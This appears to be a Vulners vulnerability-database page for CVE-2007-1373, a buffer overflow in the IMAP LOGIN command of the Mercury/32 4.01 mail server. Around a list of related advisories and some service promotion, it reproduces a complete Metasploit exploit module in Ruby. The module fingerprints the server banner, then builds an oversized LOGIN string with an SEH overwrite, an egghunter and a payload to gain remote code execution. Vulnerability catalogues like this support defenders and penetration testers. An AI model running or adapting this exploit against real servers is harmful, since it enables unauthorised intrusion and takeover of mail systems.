Lucene search
K

Mercury/32 4.01 IMAP LOGIN SEH Buffer Overflow

🗓️ 02 Oct 2008 05:23:59Reported by mu-b, MC <[email protected]>, Ivan RacicType 
metasploit
 metasploit
🔗 www.rapid7.com👁 35 Views

Stack buffer overflow in Mercury/32 4.01 IMAP LOGIN verb allows code executio

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2007-1373
22 Jun 201000:00
circl
CVE
CVE-2007-1373
10 Mar 200700:00
cve
Cvelist
CVE-2007-1373
10 Mar 200700:00
cvelist
Exploit DB
Mercury/32 Mail Server &lt; 4.01b - LOGIN Buffer Overflow (Metasploit)
22 Jun 201000:00
exploitdb
NVD
CVE-2007-1373
10 Mar 200700:19
nvd
Packet Storm
Mercury/32 <= 4.01b LOGIN Buffer Overflow
26 Nov 200900:00
packetstorm
Prion
Stack overflow
10 Mar 200700:19
prion
Saint
Mercury IMAP data continuation buffer overflow
22 Mar 200700:00
saint
Saint
Mercury IMAP data continuation buffer overflow
22 Mar 200700:00
saint
Saint
Mercury IMAP data continuation buffer overflow
22 Mar 200700:00
saint
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Seh
  include Msf::Exploit::Remote::Egghunter

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Mercury/32 4.01 IMAP LOGIN SEH Buffer Overflow',
      'Description' => %q{
        This module exploits a stack buffer overflow in Mercury/32 <= 4.01b IMAPD
        LOGIN verb. By sending a specially crafted login command, a buffer
        is corrupted, and code execution is possible. This vulnerability was
        discovered by (mu-b at digit-labs.org).
      },
      'Author'         =>
        [
        'mu-b', # Discovery and exploit
        'MC', # Metasploit module
        'Ivan Racic' # Automatic targeting + egg hunter
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2007-1373'],
          ['EDB', '3418']
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread'
        },
      'Payload'        =>
        {
          'BadChars' => "\x00\x0a\x0d\x20",
          'Space' => 2500
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          ['Windows Universal',
            {
              'Ret' => 0x00401460
            }]
          ],
        'DisclosureDate' => '2007-03-06',
        'DefaultTarget'  => 0))
    register_options(
      [
        Opt::RPORT(143)
      ]
    )
  end

  def check
    connect
    resp = sock.get_once
    disconnect
    return CheckCode::Vulnerable if resp =~ %r{Mercury/32 v4\.01[ab]}
    Exploit::CheckCode::Safe
  end

  def exploit
    hunter, egg = generate_egghunter(payload.encoded)
    connect
    sock.get_once
    num = rand(255).to_i
    sploit = 'A001 LOGIN ' + "\x20" * 1008 + "{#{num}}\n"
    sploit << rand_text_alpha_upper(347)
    sploit << egg + payload.encoded
    sploit << rand_text_alpha_upper(7500 - payload.encoded.length - egg.length)
    sploit << "\x74\x06\x75\x04" + [target.ret].pack('V')
    sploit << make_nops(20)
    sploit << hunter
    sock.put(sploit)
    sock.get_once
    print_status("Sending payload (#{sploit.length} bytes) ...")
    handler
    disconnect
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Oct 2020 20:00Current
8High risk
Vulners AI Score8
CVSS 210
EPSS0.58687
35